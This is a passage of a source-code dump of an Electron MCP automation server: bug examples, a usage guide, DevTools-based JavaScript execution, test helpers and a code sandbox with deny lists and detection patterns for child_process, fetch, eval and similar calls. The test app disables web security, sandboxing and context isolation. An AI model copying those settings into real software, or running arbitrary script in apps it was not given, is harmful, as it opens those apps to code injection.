'{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js ``` **Error Output**: ``` [MCP] INFO: Tool call: send_command_to_electron {"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1} ``` **Expected Output**: ``` {"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1} ``` **Technical Details**: - **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>` - **Issue Location**: `src/utils/electron-commands.ts:515` - **Root Cause**: preventDefault() treated as failure condition ### Example 2: Form Input Detection Failure **Bug**: fill_input returns "No suitable input found" for visible React inputs **MCP Command**: ```bash echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js ``` **Error Output**: ``` {"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2} ``` **Page Structure Output**: ```bash echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js ``` ```json { "inputs": [ { "type": "text", "placeholder": "Enter username", "label": "Username", "id": "username", "name": "username", "visible": true } ] } ``` **Technical Details**: - **Target Element**: `<input id="username" name="username" placeholder="Enter username" />` - **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm - **Root Cause**: Scoring algorithm fails to match React-rendered inputs ``` -------------------------------------------------------------------------------- /src/utils/electron-discovery.ts: -------------------------------------------------------------------------------- ```typescript import { exec } from 'child_process'; import { promisify } from 'util'; import { logger } from './logger'; export interface ElectronAppInfo { port: number; targets: any[]; } export interface WindowInfo { id: string; title: string; url: string; type: string; description: string; webSocketDebuggerUrl: string; } export interface ElectronWindowResult { platform: string; devToolsPort?: number; windows: WindowInfo[]; totalTargets: number; electronTargets: number; processInfo?: any; message: string; automationReady: boolean; } /** * Scan for running Electron applications with DevTools enabled */ export async function scanForElectronApps(): Promise<ElectronAppInfo[]> { logger.debug('Scanning for running Electron applications...'); // Extended port range to include test apps and common custom ports const commonPorts = [ 9222, 9223, 9224, 9225, // Default ports 9200, 9201, 9202, 9203, 9204, 9205, // Security test range 9300, 9301, 9302, 9303, 9304, 9305, // Integration test range 9400, 9401, 9402, 9403, 9404, 9405, // Additional range ]; const foundApps: ElectronAppInfo[] = []; for (const port of commonPorts) { try { const response = await fetch(`http://localhost:${port}/json`, { signal: AbortSignal.timeout(1000), }); if (response.ok) { const targets = await response.json(); const pageTargets = targets.filter((target: any) => target.type === 'page'); if (pageTargets.length > 0) { foundApps.push({ port, targets: pageTargets, }); logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`); } } } catch { // Continue to next port } } return foundApps; } /** * Get detailed process information for running Electron applications */ export async function getElectronProcessInfo(): Promise<any> { const execAsync = promisify(exec); try { const { stdout } = await execAsync( "ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'", ); const electronProcesses = stdout .trim() .split('\n') .filter((line) => line.includes('electron')) .map((line) => { const parts = line.trim().split(/\s+/); return { pid: parts[1], cpu: parts[2], memory: parts[3], command: parts.slice(10).join(' '), }; }); return { electronProcesses }; } catch (error) { logger.debug('Could not get process info:', error); return {}; } } /** * Find the main target from a list of targets */ export function findMainTarget(targets: any[]): any | null { return ( targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) || targets.find((target: any) => target.type === 'page') ); } /** * Get window information from any running Electron app */ export async function getElectronWindowInfo( includeChildren: boolean = false, ): Promise<ElectronWindowResult> { try { const foundApps = await scanForElectronApps(); if (foundApps.length === 0) { return { platform: process.platform, windows: [], totalTargets: 0, electronTargets: 0, message: 'No Electron applications found with remote debugging enabled', automationReady: false, }; } // Use the first found app const app = foundApps[0]; const windows: WindowInfo[] = app.targets.map((target: any) => ({ id: target.id, title: target.title, url: target.url, type: target.type, description: target.description || '', webSocketDebuggerUrl: target.webSocketDebuggerUrl, })); // Get additional process information const processInfo = await getElectronProcessInfo(); return { platform: process.platform, devToolsPort: app.port, windows: includeChildren ? windows : windows.filter((w: WindowInfo) => !w.title.includes('DevTools')), totalTargets: windows.length, electronTargets: windows.length, processInfo, message: `Found running Electron application with ${windows.length} windows on port ${app.port}`, automationReady: true, }; } catch (error) { logger.error('Failed to scan for applications:', error); return { platform: process.platform, windows: [], totalTargets: 0, electronTargets: 0, message: `Failed to scan for Electron applications: ${ error instanceof Error ? error.message : String(error) }`, automationReady: false, }; } } ``` -------------------------------------------------------------------------------- /MCP_USAGE_GUIDE.md: -------------------------------------------------------------------------------- ```markdown # MCP Usage Examples for Electron MCP Server This document provides comprehensive examples of how to properly use the Electron MCP Server tools. ## 🎯 Common Patterns ### Getting Started - Page Inspection Always start by understanding the page structure: ```json { "command": "get_page_structure" } ``` This returns all interactive elements with their properties, helping you choose the right targeting method. ### Button Interactions #### Method 1: Click by Visible Text (Recommended) ```json { "command": "click_by_text", "args": { "text": "Create New Encyclopedia" } } ``` #### Method 2: Click by CSS Selector ```json { "command": "click_by_selector", "args": { "selector": "button[class*='bg-blue-500']" } } ``` ### Form Interactions #### Fill Input by Placeholder ```json { "command": "fill_input", "args": { "placeholder": "Enter encyclopedia name", "value": "AI and Machine Learning" } } ``` #### Fill Input by CSS Selector ```json { "command": "fill_input", "args": { "selector": "#email", "value": "[email protected]" } } ``` ### Keyboard Shortcuts ```json { "command": "send_keyboard_shortcut", "args": { "text": "Ctrl+N" } } ``` ### Custom JavaScript ```json { "command": "eval", "args": { "code": "document.querySelectorAll('button').length" } } ``` ## 🚨 Common Mistakes and Fixes ### ❌ Mistake 1: Wrong Argument Structure ```json // WRONG - causes "selector is empty" error { "command": "click_by_selector", "args": "button.submit" } // CORRECT { "command": "click_by_selector", "args": { "selector": "button.submit" } } ``` ### ❌ Mistake 2: Using Complex Selectors Incorrectly ```json // WRONG - invalid CSS syntax { "command": "click_by_selector", "args": { "selector": "button:has-text('Create')" } } // CORRECT - use click_by_text instead { "command": "click_by_text", "args": { "text": "Create" } } ``` ### ❌ Mistake 3: Not Handling React/Dynamic Content ```json // BETTER - wait and retry pattern { "command": "get_page_structure" } // Check if elements loaded, then: { "command": "click_by_selector", "args": { "selector": "button[data-testid='submit']" } } ``` ## 🔄 Complete Workflow Examples ### Example 1: Creating a New Item in an App ```json // 1. Take a screenshot to see current state { "tool": "take_screenshot" } // 2. Understand the page structure { "tool": "send_command_to_electron", "args": { "command": "get_page_structure" } } // 3. Click the "Create" button { "tool": "send_command_to_electron", "args": { "command": "click_by_text", "args": { "text": "Create New" } } } // 4. Fill in the form { "tool": "send_command_to_electron", "args": { "command": "fill_input", "args": { "placeholder": "Enter name", "value": "My New Item" } } } // 5. Submit the form { "tool": "send_command_to_electron", "args": { "command": "click_by_selector", "args": { "selector": "button[type='submit']" } } } // 6. Verify success { "tool": "take_screenshot" } ``` ### Example 2: Debugging Element Issues ```json // 1. Get all button information { "tool": "send_command_to_electron", "args": { "command": "debug_elements" } } // 2. Check specific element properties { "tool": "send_command_to_electron", "args": { "command": "eval", "args": { "code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))" } } } // 3. Try alternative targeting method { "tool": "send_command_to_electron", "args": { "command": "click_by_text", "args": { "text": "Submit" } } } ``` ## 💡 Best Practices ### 1. Always Verify Element Existence ```json { "command": "eval", "args": { "code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'" } } ``` ### 2. Use Text-Based Targeting When Possible Text-based targeting is more resilient to UI changes: ```json { "command": "click_by_text", "args": { "text": "Save" } } ``` ### 3. Fallback Strategies ```json // Try text first { "command": "click_by_text", "args": { "text": "Submit" } } // If that fails, try selector { "command": "click_by_selector", "args": { "selector": "button[type='submit']" } } ``` ### 4. Handle Dynamic Content ```json // Check if content is loaded { "command": "eval", "args": { "code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'" } } ``` ## 🛠️ Security Considerations ### Safe JavaScript Execution ```json // SAFE - simple property access { "command": "eval", "args": { "code": "document.title" } } // AVOID - complex operations that might be blocked { "command": "eval", "args": { "code": "fetch('/api/data').then(r => r.json())" } } ``` ### Use Built-in Commands Prefer built-in commands over eval when possible: ```json // BETTER { "command": "get_title" } // INSTEAD OF { "command": "eval", "args": { "code": "document.title" } } ``` ## 📝 Tool Reference Summary | Tool | Purpose | Key Arguments | | -------------------------- | -------------- | ------------------------------------------- | | `get_electron_window_info` | Get app info | `includeChildren: boolean` | | `take_screenshot` | Capture screen | `windowTitle?: string, outputPath?: string` | | `send_command_to_electron` | UI interaction | `command: string, args: object` | | `read_electron_logs` | View logs | `logType?: string, lines?: number` | Remember: Always structure arguments as objects with the appropriate properties for each command! ``` -------------------------------------------------------------------------------- /src/handlers.ts: -------------------------------------------------------------------------------- ```typescript import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types'; import { z } from 'zod'; import { ToolName } from './tools'; import { SendCommandToElectronSchema, TakeScreenshotSchema, ReadElectronLogsSchema, GetElectronWindowInfoSchema, } from './schemas'; import { sendCommandToElectron } from './utils/electron-enhanced-commands'; import { getElectronWindowInfo } from './utils/electron-discovery'; import { readElectronLogs } from './utils/electron-logs'; import { takeScreenshot } from './screenshot'; import { logger } from './utils/logger'; import { securityManager } from './security/manager'; export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) { const { name, arguments: args } = request.params; // Extract request metadata for security logging const sourceIP = (request as any).meta?.sourceIP; const userAgent = (request as any).meta?.userAgent; try { switch (name) { case ToolName.GET_ELECTRON_WINDOW_INFO: { // This is a low-risk read operation - basic validation only const { includeChildren } = GetElectronWindowInfoSchema.parse(args); const securityResult = await securityManager.executeSecurely({ command: 'get_window_info', args, sourceIP, userAgent, operationType: 'window_info', }); if (securityResult.blocked) { return { content: [ { type: 'text', text: `Operation blocked: ${securityResult.error}`, }, ], isError: true, }; } const result = await getElectronWindowInfo(includeChildren); return { content: [ { type: 'text', text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`, }, ], isError: false, }; } case ToolName.TAKE_SCREENSHOT: { // Security check for screenshot operation const securityResult = await securityManager.executeSecurely({ command: 'take_screenshot', args, sourceIP, userAgent, operationType: 'screenshot', }); if (securityResult.blocked) { return { content: [ { type: 'text', text: `Screenshot blocked: ${securityResult.error}`, }, ], isError: true, }; } const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args); const result = await takeScreenshot(outputPath, windowTitle); // Return the screenshot as base64 data for AI to evaluate const content: any[] = []; if (result.filePath) { content.push({ type: 'text', text: `Screenshot saved to: ${result.filePath}`, }); } else { content.push({ type: 'text', text: 'Screenshot captured in memory (no file saved)', }); } // Add the image data for AI evaluation content.push({ type: 'image', data: result.base64!, mimeType: 'image/png', }); return { content, isError: false }; } case ToolName.SEND_COMMAND_TO_ELECTRON: { const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args); // Execute command through security manager const securityResult = await securityManager.executeSecurely({ command, args: commandArgs, sourceIP, userAgent, operationType: 'command', }); if (securityResult.blocked) { return { content: [ { type: 'text', text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`, }, ], isError: true, }; } if (!securityResult.success) { return { content: [ { type: 'text', text: `Command failed: ${securityResult.error}`, }, ], isError: true, }; } // Execute the actual command if security checks pass const result = await sendCommandToElectron(command, commandArgs); return { content: [{ type: 'text', text: result }], isError: false, }; } case ToolName.READ_ELECTRON_LOGS: { const { logType, lines, follow } = ReadElectronLogsSchema.parse(args); const logs = await readElectronLogs(logType, lines); if (follow) { return { content: [ { type: 'text', text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`, }, ], isError: false, }; } return { content: [ { type: 'text', text: `Electron logs (${logType}):\n\n${logs}`, }, ], isError: false, }; } default: return { content: [ { type: 'text', text: `Unknown tool: ${name}`, }, ], isError: true, }; } } catch (error) { const errorMessage = error instanceof Error ? error.message : String(error); const errorStack = error instanceof Error ? error.stack : undefined; logger.error(`Tool execution failed: ${name}`, { error: errorMessage, stack: errorStack, args, }); return { content: [ { type: 'text', text: `Error executing ${name}: ${errorMessage}`, }, ], isError: true, }; } } ``` -------------------------------------------------------------------------------- /src/utils/electron-connection.ts: -------------------------------------------------------------------------------- ```typescript import WebSocket from 'ws'; import { scanForElectronApps, findMainTarget } from './electron-discovery'; import { logger } from './logger'; export interface DevToolsTarget { id: string; title: string; url: string; webSocketDebuggerUrl: string; type: string; } export interface CommandResult { success: boolean; result?: any; error?: string; message: string; } /** * Find and connect to a running Electron application */ export async function findElectronTarget(): Promise<DevToolsTarget> { logger.debug('Looking for running Electron applications...'); const foundApps = await scanForElectronApps(); if (foundApps.length === 0) { throw new Error( 'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222', ); } const app = foundApps[0]; const mainTarget = findMainTarget(app.targets); if (!mainTarget) { throw new Error('No suitable target found in Electron application'); } logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`); return { id: mainTarget.id, title: mainTarget.title, url: mainTarget.url, webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl, type: mainTarget.type, }; } /** * Execute JavaScript code in an Electron application via Chrome DevTools Protocol */ export async function executeInElectron( javascriptCode: string, target?: DevToolsTarget, ): Promise<string> { const targetInfo = target || (await findElectronTarget()); if (!targetInfo.webSocketDebuggerUrl) { throw new Error('No WebSocket debugger URL available'); } return new Promise((resolve, reject) => { const ws = new WebSocket(targetInfo.webSocketDebuggerUrl); const messageId = Math.floor(Math.random() * 1000000); const timeout = setTimeout(() => { ws.close(); reject(new Error('Command execution timeout (10s)')); }, 10000); ws.on('open', () => { logger.debug(`Connected to ${targetInfo.title} via WebSocket`); // Enable Runtime domain first ws.send( JSON.stringify({ id: 1, method: 'Runtime.enable', }), ); // Send Runtime.evaluate command const message = { id: messageId, method: 'Runtime.evaluate', params: { expression: javascriptCode, returnByValue: true, awaitPromise: false, }, }; logger.debug(`Executing JavaScript code...`); ws.send(JSON.stringify(message)); }); ws.on('message', (data) => { try { const response = JSON.parse(data.toString()); // Filter out noisy CDP events to reduce log spam const FILTERED_CDP_METHODS = [ 'Runtime.executionContextCreated', 'Runtime.consoleAPICalled', 'Console.messageAdded', 'Page.frameNavigated', 'Page.loadEventFired', ]; // Only log CDP events if debug level is enabled and they're not filtered if ( logger.isEnabled(3) && (!response.method || !FILTERED_CDP_METHODS.includes(response.method)) ) { logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2)); } if (response.id === messageId) { clearTimeout(timeout); ws.close(); if (response.error) { logger.error(`DevTools Protocol error:`, response.error); reject(new Error(`DevTools Protocol error: ${response.error.message}`)); } else if (response.result) { const result = response.result.result; logger.debug(`Execution result type: ${result?.type}, value:`, result?.value); if (result.type === 'string') { resolve(`✅ Command executed: ${result.value}`); } else if (result.type === 'number') { resolve(`✅ Result: ${result.value}`); } else if (result.type === 'boolean') { resolve(`✅ Result: ${result.value}`); } else if (result.type === 'undefined') { resolve(`✅ Command executed successfully`); } else if (result.type === 'object') { if (result.value === null) { resolve(`✅ Result: null`); } else if (result.value === undefined) { resolve(`✅ Result: undefined`); } else { try { resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`); } catch { resolve( `✅ Result: [Object - could not serialize: ${ result.className || result.objectId || 'unknown' }]`, ); } } } else { resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`); } } else { logger.debug(`No result in response:`, response); resolve(`✅ Command sent successfully`); } } } catch (error) { // Only treat parsing errors as warnings, not errors logger.warn(`Failed to parse CDP response:`, error); } }); ws.on('error', (error) => { clearTimeout(timeout); reject(new Error(`WebSocket error: ${error.message}`)); }); }); } /** * Connect to Electron app for real-time log monitoring */ export async function connectForLogs( target?: DevToolsTarget, onLog?: (log: string) => void, ): Promise<WebSocket> { const targetInfo = target || (await findElectronTarget()); if (!targetInfo.webSocketDebuggerUrl) { throw new Error('No WebSocket debugger URL available for log connection'); } return new Promise((resolve, reject) => { const ws = new WebSocket(targetInfo.webSocketDebuggerUrl); ws.on('open', () => { logger.debug(`Connected for log monitoring to: ${targetInfo.title}`); // Enable Runtime and Console domains ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' })); ws.send(JSON.stringify({ id: 2, method: 'Console.enable' })); resolve(ws); }); ws.on('message', (data) => { try { const response = JSON.parse(data.toString()); if (response.method === 'Console.messageAdded') { const msg = response.params.message; const timestamp = new Date().toISOString(); const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`; onLog?.(logEntry); } else if (response.method === 'Runtime.consoleAPICalled') { const call = response.params; const timestamp = new Date().toISOString(); const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || ''; const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`; onLog?.(logEntry); } } catch (error) { logger.warn(`Failed to parse log message:`, error); } }); ws.on('error', (error) => { reject(new Error(`WebSocket error: ${error.message}`)); }); }); } ``` -------------------------------------------------------------------------------- /tests/support/helpers.ts: -------------------------------------------------------------------------------- ```typescript import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs'; import { join, basename } from 'path'; import { logger } from '../../src/utils/logger'; import { TEST_CONFIG, createElectronAppPath } from './config'; import { spawn, ChildProcess } from 'child_process'; import { createServer } from 'net'; export interface TestElectronApp { port: number; process: ChildProcess; appPath: string; cleanup: () => Promise<void>; } export interface CleanupOptions { removeLogsDir?: boolean; removeTempDir?: boolean; preserveKeys?: boolean; } /** * Consolidated test helpers and utilities */ export class TestHelpers { /** * Create and start a test Electron application */ static async createTestElectronApp(): Promise<TestElectronApp> { const port = await this.findAvailablePort(); const appPath = createElectronAppPath(port); // Create app directory and files mkdirSync(appPath, { recursive: true }); // Create package.json const packageJson = { name: 'test-electron-app', version: '1.0.0', main: 'main.js', scripts: { start: 'electron .', }, }; writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2)); // Create main.js const mainJs = ` const { app, BrowserWindow } = require('electron'); const path = require('path'); let mainWindow; app.commandLine.appendSwitch('remote-debugging-port', '${port}'); app.commandLine.appendSwitch('no-sandbox'); app.commandLine.appendSwitch('disable-web-security'); function createWindow() { mainWindow = new BrowserWindow({ width: 800, height: 600, show: false, // Keep hidden for testing webPreferences: { nodeIntegration: true, contextIsolation: false } }); mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}'); mainWindow.loadFile('index.html'); mainWindow.webContents.once('did-finish-load', () => { console.log('[TEST-APP] Window ready, staying hidden for testing'); }); } app.whenReady().then(() => { createWindow(); console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}'); }); app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); } }); `; writeFileSync(join(appPath, 'main.js'), mainJs); // Create index.html writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT); // Start the Electron process const electronProcess = spawn('npx', ['electron', '.'], { cwd: appPath, stdio: ['pipe', 'pipe', 'pipe'], }); const app: TestElectronApp = { port, process: electronProcess, appPath, cleanup: async () => { electronProcess.kill(); if (existsSync(appPath)) { rmSync(appPath, { recursive: true, force: true }); } }, }; // Wait for app to be ready await this.waitForElectronApp(app); return app; } /** * Wait for Electron app to be ready for testing */ static async waitForElectronApp( app: TestElectronApp, timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START, ): Promise<void> { return new Promise((resolve, reject) => { const startTime = Date.now(); const checkReady = async () => { try { const response = await fetch(`http://localhost:${app.port}/json`); if (response.ok) { logger.info(`✅ Test Electron app ready for integration and security testing`); resolve(); return; } } catch { // App not ready yet } if (Date.now() - startTime > timeout) { reject(new Error(`Electron app failed to start within ${timeout}ms`)); return; } setTimeout(checkReady, 100); }; checkReady(); }); } /** * Find an available port in the configured range */ private static async findAvailablePort(): Promise<number> { const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE; for (let port = start; port <= end; port++) { if (await this.isPortAvailable(port)) { return port; } } throw new Error(`No available ports in range ${start}-${end}`); } /** * Check if a port is available */ private static async isPortAvailable(port: number): Promise<boolean> { return new Promise((resolve) => { const server = createServer(); server.listen(port, () => { server.close(() => resolve(true)); }); server.on('error', () => resolve(false)); }); } /** * Clean up test artifacts and temporary files */ static async cleanup(options: CleanupOptions = {}): Promise<void> { const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options; try { // Clean up logs directory if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) { if (preserveKeys) { this.cleanupLogsPreservingKeys(); } else { rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true }); logger.info(`🧹 Cleaned up logs directory`); } } // Clean up temp directories if (removeTempDir) { [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach( (dir) => { if (existsSync(dir)) { rmSync(dir, { recursive: true, force: true }); logger.info(`🧹 Cleaned up ${dir} directory`); } }, ); } } catch (error) { logger.error('Failed to cleanup test artifacts:', error); } } /** * Clean up only log files while preserving encryption keys */ private static cleanupLogsPreservingKeys(): void { try { const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security'); if (existsSync(securityDir)) { const files = readdirSync(securityDir); files.forEach((file: string) => { if (file.endsWith('.log')) { const filePath = join(securityDir, file); rmSync(filePath, { force: true }); logger.info(`🧹 Cleaned up log file: ${filePath}`); } }); } } catch (error) { logger.error('Failed to cleanup log files:', error); } } /** * Get size of artifacts that would be cleaned up */ static getCleanupSize(): { logs: number; temp: number; total: number } { let logsSize = 0; let tempSize = 0; try { const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR); if (existsSync(logsDir)) { logsSize = this.getDirectorySize(logsDir); } [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach( (dir) => { if (existsSync(dir)) { tempSize += this.getDirectorySize(dir); } }, ); } catch (error) { logger.error('Failed to calculate cleanup size:', error); } return { logs: logsSize, temp: tempSize, total: logsSize + tempSize, }; } /** * Calculate directory size in bytes */ private static getDirectorySize(dirPath: string): number { let totalSize = 0; try { const items = readdirSync(dirPath); for (const item of items) { const itemPath = join(dirPath, item); const stats = statSync(itemPath); if (stats.isDirectory()) { totalSize += this.getDirectorySize(itemPath); } else { totalSize += stats.size; } } } catch (_error) { // Directory might not exist or be accessible } return totalSize; } /** * Create a proper MCP request format for testing */ static createMCPRequest(toolName: string, args: any = {}) { return { method: 'tools/call' as const, params: { name: toolName, arguments: args, }, }; } } ``` -------------------------------------------------------------------------------- /src/security/sandbox.ts: -------------------------------------------------------------------------------- ```typescript import { spawn } from 'child_process'; import { promises as fs } from 'fs'; import { join } from 'path'; import { randomUUID } from 'crypto'; import { logger } from '../utils/logger'; export interface SandboxOptions { timeout?: number; maxMemory?: number; allowedModules?: string[]; blacklistedFunctions?: string[]; } export interface SandboxResult { success: boolean; result?: any; error?: string; executionTime: number; memoryUsed?: number; } const DEFAULT_BLACKLISTED_FUNCTIONS = [ 'eval', 'Function', 'setTimeout', 'setInterval', 'setImmediate', 'require', 'import', 'process', 'global', 'globalThis', '__dirname', '__filename', 'Buffer', 'XMLHttpRequest', 'fetch', 'WebSocket', 'Worker', 'SharedWorker', 'ServiceWorker', 'importScripts', 'postMessage', 'close', 'open', ]; const DEFAULT_BLACKLISTED_OBJECTS = [ 'fs', 'child_process', 'cluster', 'crypto', 'dgram', 'dns', 'http', 'https', 'net', 'os', 'path', 'stream', 'tls', 'url', 'util', 'v8', 'vm', 'worker_threads', 'zlib', 'perf_hooks', 'inspector', 'repl', 'readline', 'domain', 'events', 'querystring', 'punycode', 'constants', ]; export class CodeSandbox { private options: Required<SandboxOptions>; constructor(options: SandboxOptions = {}) { this.options = { timeout: options.timeout || 5000, maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB allowedModules: options.allowedModules || [], blacklistedFunctions: [ ...DEFAULT_BLACKLISTED_FUNCTIONS, ...(options.blacklistedFunctions || []), ], }; } async executeCode(code: string): Promise<SandboxResult> { const startTime = Date.now(); const sessionId = randomUUID(); logger.info(`Starting sandboxed execution [${sessionId}]`); try { // Validate code before execution const validation = this.validateCode(code); if (!validation.isValid) { return { success: false, error: `Code validation failed: ${validation.errors.join(', ')}`, executionTime: Date.now() - startTime, }; } // Create isolated execution environment const result = await this.executeInIsolation(code, sessionId); const executionTime = Date.now() - startTime; logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`); return { success: true, result: result, executionTime, }; } catch (error) { const executionTime = Date.now() - startTime; logger.error(`Sandboxed execution failed [${sessionId}]:`, error); return { success: false, error: error instanceof Error ? error.message : String(error), executionTime, }; } } private validateCode(code: string): { isValid: boolean; errors: string[] } { const errors: string[] = []; // Check for blacklisted functions for (const func of this.options.blacklistedFunctions) { const regex = new RegExp(`\\b${func}\\s*\\(`, 'g'); if (regex.test(code)) { errors.push(`Forbidden function: ${func}`); } } // Check for blacklisted objects for (const obj of DEFAULT_BLACKLISTED_OBJECTS) { const regex = new RegExp(`\\b${obj}\\b`, 'g'); if (regex.test(code)) { errors.push(`Forbidden module/object: ${obj}`); } } // Check for dangerous patterns const dangerousPatterns = [ /require\s*\(/g, /import\s+.*\s+from/g, /\.constructor/g, /\.__proto__/g, /prototype\./g, /process\./g, /global\./g, /this\.constructor/g, /\[\s*['"`]constructor['"`]\s*\]/g, /\[\s*['"`]__proto__['"`]\s*\]/g, /Function\s*\(/g, /eval\s*\(/g, /window\./g, /document\./g, /location\./g, /history\./g, /navigator\./g, /alert\s*\(/g, /confirm\s*\(/g, /prompt\s*\(/g, ]; for (const pattern of dangerousPatterns) { if (pattern.test(code)) { errors.push(`Dangerous pattern detected: ${pattern.source}`); } } return { isValid: errors.length === 0, errors, }; } private async executeInIsolation(code: string, sessionId: string): Promise<any> { // Create a secure wrapper script const wrapperCode = this.createSecureWrapper(code); // Write to temporary file const tempDir = join(process.cwd(), 'temp', sessionId); await fs.mkdir(tempDir, { recursive: true }); const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS try { await fs.writeFile(scriptPath, wrapperCode); // Execute in isolated Node.js process const result = await this.executeInProcess(scriptPath); return result; } finally { // Cleanup try { await fs.unlink(scriptPath); await fs.rm(tempDir, { recursive: true, force: true }); // Also try to clean up the parent temp directory if it's empty try { const parentTempDir = join(process.cwd(), 'temp'); await fs.rmdir(parentTempDir); } catch { // Ignore if not empty or doesn't exist } } catch (cleanupError) { logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError); } } } private createSecureWrapper(userCode: string): string { return ` "use strict"; const vm = require('vm'); // Create isolated context const originalProcess = process; const originalConsole = console; // Create safe console const safeConsole = { log: (...args) => originalConsole.log('[SANDBOX]', ...args), error: (...args) => originalConsole.error('[SANDBOX]', ...args), warn: (...args) => originalConsole.warn('[SANDBOX]', ...args), info: (...args) => originalConsole.info('[SANDBOX]', ...args), debug: (...args) => originalConsole.debug('[SANDBOX]', ...args) }; // Create a secure context with only safe globals const sandboxContext = vm.createContext({ console: safeConsole, Math: Math, Date: Date, JSON: JSON, parseInt: parseInt, parseFloat: parseFloat, isNaN: isNaN, isFinite: isFinite, String: String, Number: Number, Boolean: Boolean, Array: Array, Object: Object, RegExp: RegExp, Error: Error, TypeError: TypeError, RangeError: RangeError, SyntaxError: SyntaxError, // Provide a safe setTimeout that's actually synchronous for safety setTimeout: (fn, delay) => { if (typeof fn === 'function' && delay === 0) { return fn(); } throw new Error('setTimeout not available in sandbox'); } }); try { // Execute user code in isolated VM context const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, { timeout: 5000, // 5 second timeout displayErrors: true, breakOnSigint: true }); // Send result back originalProcess.stdout.write(JSON.stringify({ success: true, result: result })); } catch (error) { originalProcess.stdout.write(JSON.stringify({ success: false, error: error.message, stack: error.stack })); } `; } private executeInProcess(scriptPath: string): Promise<any> { return new Promise((resolve, reject) => { const child = spawn('node', [scriptPath], { stdio: ['ignore', 'pipe', 'pipe'], timeout: this.options.timeout, }); let stdout = ''; let stderr = ''; child.stdout.on('data', (data) => { stdout += data.toString(); }); child.stderr.on('data', (data) => { stderr += data.toString(); }); child.on('close', (code) => { if (code === 0) { try { const result = JSON.parse(stdout); if (result.success) { resolve(result.result); } else { reject(new Error(result.error)); } } catch (parseError) { reject(new Error(`Failed to parse execution result: ${parseError}`)); } } else { reject(new Error(`Process exited with code ${code}: ${stderr}`)); } }); child.on('error', (error) => { reject(error); }); }); } } ``` -------------------------------------------------------------------------------- /src/security/audit.ts: -------------------------------------------------------------------------------- ```typescript import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs'; import { join } from 'path'; import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto'; import { logger } from '../utils/logger'; export interface AuditLogEntry { timestamp: string; sessionId: string; action: string; command?: string; riskLevel: 'low' | 'medium' | 'high' | 'critical'; success: boolean; error?: string; executionTime: number; sourceIP?: string; userAgent?: string; } export interface SecurityMetrics { totalRequests: number; blockedRequests: number; highRiskRequests: number; criticalRiskRequests: number; averageExecutionTime: number; topCommands: { command: string; count: number }[]; errorRate: number; } export class SecurityLogger { private logDir: string; private encryptionKey: Buffer; constructor(logDir: string = 'logs/security') { this.logDir = logDir; this.encryptionKey = this.getOrCreateEncryptionKey(); // Note: ensureLogDirectory is called in logSecurityEvent to handle async properly } async 